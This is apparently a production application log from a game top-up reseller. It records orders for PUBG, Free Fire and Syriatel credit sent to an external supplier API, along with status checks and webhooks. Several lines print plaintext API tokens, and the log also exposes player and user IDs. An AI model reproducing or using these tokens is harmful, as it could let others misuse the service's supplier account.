[2026-03-24 21:18:55] production.INFO: Operation sent successfully {"operation_id":164259,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tE0b-1774376335","amount":2.95071599999999989449861459434032440185546875,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 21:18:55"}},"processed_data":{"order_number":"ORD-tE0b-1774376335","amount":2.95071599999999989449861459434032440185546875,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 21:19:50] production.INFO: Constructing job for order: 179384  
[2026-03-24 21:19:52] production.INFO: Handling job for order: 179384  
[2026-03-24 21:19:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:19:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:19:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=8be4c236-0e86-4bfd-95bd-49e5aabc8e46&Player_ID=11200494  
[2026-03-24 21:19:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=8be4c236-0e86-4bfd-95bd-49e5aabc8e46&Player_ID=11200494","has_body":false} 
[2026-03-24 21:19:53] production.INFO: Operation sent successfully {"operation_id":164260,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cM9MmB-1774376392","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 21:19:53"}},"processed_data":{"order_number":"ORD-cM9MmB-1774376392","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 21:19:56] production.INFO: Constructing job for order: 179385  
[2026-03-24 21:19:59] production.INFO: Handling job for order: 179385  
[2026-03-24 21:19:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:19:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:19:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=7052b2fb-e2b1-4c0b-b8e1-01f773877f88&Player_ID=52175482251  
[2026-03-24 21:19:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=7052b2fb-e2b1-4c0b-b8e1-01f773877f88&Player_ID=52175482251","has_body":false} 
[2026-03-24 21:20:00] production.INFO: Operation sent successfully {"operation_id":164261,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-f32rO-1774376399","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:20:00"}},"processed_data":{"order_number":"ORD-f32rO-1774376399","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:20:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03"} 
[2026-03-24 21:20:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","total_operations":8,"sites_count":1} 
[2026-03-24 21:20:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","orders_count":8,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-aN9XaXgI-1774375820","ORD-jqK-1774376135","ORD-ydEBh-1774376190","ORD-tE0b-1774376335","ORD-cM9MmB-1774376392","ORD-f32rO-1774376399"]} 
[2026-03-24 21:20:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:20:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":8} 
[2026-03-24 21:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-cM9MmB-1774376392","operation_id":164260} 
[2026-03-24 21:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-f32rO-1774376399","operation_id":164261} 
[2026-03-24 21:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jqK-1774376135","operation_id":164254} 
[2026-03-24 21:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255} 
[2026-03-24 21:20:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"processed":1,"skipped":7,"updates_prepared":1} 
[2026-03-24 21:20:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:20:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"count":1} 
[2026-03-24 21:20:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"count":1} 
[2026-03-24 21:20:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"user_id":802,"notification_type":"order_approved","reference_id":179383} 
[2026-03-24 21:20:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:20:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:20:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"processed":1,"errors":0} 
[2026-03-24 21:20:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255,"processed":1,"errors":0} 
[2026-03-24 21:20:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"fNF1hmxJH8J8tUL6Nbjm7V1ydTf7uUuv","execution_time":"2026-03-24 21:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ydEBh-1774376190","operation_id":164255} 
[2026-03-24 21:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 21:20:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 21:20:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ydEBh-1774376190","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:20:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-ydEBh-1774376190","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:20:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:20:04] production.INFO: SendAcceptReject: Notification queued {"user_id":1759,"notification_type":"order_approved","reference_id":179379} 
[2026-03-24 21:20:04] production.INFO: Order updated successfully. Order ID: 179379, Status: completed  
[2026-03-24 21:20:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ydEBh-1774376190","status":"completed","codes_count":0} 
[2026-03-24 21:20:05] production.INFO: async() رجع: true  
[2026-03-24 21:20:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:20:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:20:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:20:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:20:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:20:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:20:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:20:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:20:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:20:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 21:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
[2026-03-24 21:20:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-f32rO-1774376399","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:20:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-f32rO-1774376399","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:20:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:20:09] production.INFO: SendAcceptReject: Notification queued {"user_id":50,"notification_type":"order_approved","reference_id":179385} 
[2026-03-24 21:20:09] production.INFO: Order updated successfully. Order ID: 179385, Status: completed  
[2026-03-24 21:20:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-f32rO-1774376399","status":"completed","codes_count":0} 
[2026-03-24 21:20:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 50  
[2026-03-24 21:20:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1752,"notification_type":"order_approved","reference_id":179368} 
[2026-03-24 21:20:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1752  
[2026-03-24 21:20:21] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jqK-1774376135","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:20:21] production.INFO: Processed webhook data (normalized) {"id":"ORD-jqK-1774376135","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:20:21] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:20:21] production.INFO: SendAcceptReject: Notification queued {"user_id":1718,"notification_type":"order_approved","reference_id":179378} 
[2026-03-24 21:20:21] production.INFO: Order updated successfully. Order ID: 179378, Status: completed  
[2026-03-24 21:20:21] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jqK-1774376135","status":"completed","codes_count":0} 
[2026-03-24 21:20:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1718  
[2026-03-24 21:20:41] production.INFO: SendAcceptReject: Notification queued {"user_id":1752,"notification_type":"order_rejected","reference_id":179368} 
[2026-03-24 21:20:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1752  
[2026-03-24 21:20:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1752  
[2026-03-24 21:20:44] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 21:21:01] production.INFO: Constructing job for order: 179386  
[2026-03-24 21:21:04] production.INFO: Handling job for order: 179386  
[2026-03-24 21:21:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:21:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:21:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=321b4fcb-d816-4bc5-9653-9fd6a4f32d2a&Player_ID=0985911343  
[2026-03-24 21:21:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=321b4fcb-d816-4bc5-9653-9fd6a4f32d2a&Player_ID=0985911343","has_body":false} 
[2026-03-24 21:21:05] production.INFO: Operation sent successfully {"operation_id":164262,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-2daQg8M-1774376464","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:21:05"}},"processed_data":{"order_number":"ORD-2daQg8M-1774376464","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:21:27] production.INFO: SendAcceptReject: Notification queued {"user_id":69,"notification_type":"request_approved","reference_id":18710} 
[2026-03-24 21:21:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 21:21:39] production.INFO: Constructing job for order: 179387  
[2026-03-24 21:21:40] production.INFO: SendAcceptReject: Notification queued {"user_id":50,"notification_type":"request_approved","reference_id":18712} 
[2026-03-24 21:21:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 50  
[2026-03-24 21:21:41] production.INFO: Handling job for order: 179387  
[2026-03-24 21:21:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:21:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:21:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=267e365b-b94e-4810-848b-b97094437b0c&Player_ID=5271159418  
[2026-03-24 21:21:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=267e365b-b94e-4810-848b-b97094437b0c&Player_ID=5271159418","has_body":false} 
[2026-03-24 21:21:42] production.INFO: Operation sent successfully {"operation_id":164263,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cNZiHLm-1774376501","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:21:41"}},"processed_data":{"order_number":"ORD-cNZiHLm-1774376501","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:21:48] production.INFO: SendAcceptReject: Notification queued {"user_id":1386,"notification_type":"request_approved","reference_id":18713} 
[2026-03-24 21:21:49] production.INFO: Constructing job for order: 179388  
[2026-03-24 21:21:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1386  
[2026-03-24 21:21:51] production.INFO: Handling job for order: 179388  
[2026-03-24 21:21:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:21:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:21:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=9bacde6e-c9c6-4ea9-91de-12c6d76b1af3&Player_ID=5365035971  
[2026-03-24 21:21:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=9bacde6e-c9c6-4ea9-91de-12c6d76b1af3&Player_ID=5365035971","has_body":false} 
[2026-03-24 21:21:51] production.INFO: Operation sent successfully {"operation_id":164264,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-OhcE-1774376511","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 21:21:51"}},"processed_data":{"order_number":"ORD-OhcE-1774376511","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 21:21:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cNZiHLm-1774376501","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:21:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-cNZiHLm-1774376501","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:21:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:21:52] production.INFO: SendAcceptReject: Notification queued {"user_id":1123,"notification_type":"order_approved","reference_id":179387} 
[2026-03-24 21:21:52] production.INFO: Order updated successfully. Order ID: 179387, Status: completed  
[2026-03-24 21:21:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cNZiHLm-1774376501","status":"completed","codes_count":0} 
[2026-03-24 21:21:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1123  
[2026-03-24 21:22:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03"} 
[2026-03-24 21:22:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","total_operations":6,"sites_count":2} 
[2026-03-24 21:22:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-aN9XaXgI-1774375820","ORD-cM9MmB-1774376392","ORD-OhcE-1774376511"]} 
[2026-03-24 21:22:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:22:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 21:22:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:22:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:22:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OhcE-1774376511","operation_id":164264} 
[2026-03-24 21:22:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:22:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":1,"skipped":4,"updates_prepared":1} 
[2026-03-24 21:22:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:22:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"count":1} 
[2026-03-24 21:22:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"count":1} 
[2026-03-24 21:22:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"user_id":949,"notification_type":"order_approved","reference_id":179384} 
[2026-03-24 21:22:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:22:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:22:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":1,"errors":0} 
[2026-03-24 21:22:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":1,"errors":0} 
[2026-03-24 21:22:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":1,"order_ids":["ORD-2daQg8M-1774376464"]} 
[2026-03-24 21:22:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:22:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":1} 
[2026-03-24 21:22:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 21:22:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:22:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"count":1} 
[2026-03-24 21:22:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"count":1} 
[2026-03-24 21:22:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"user_id":1056,"notification_type":"order_approved","reference_id":179386} 
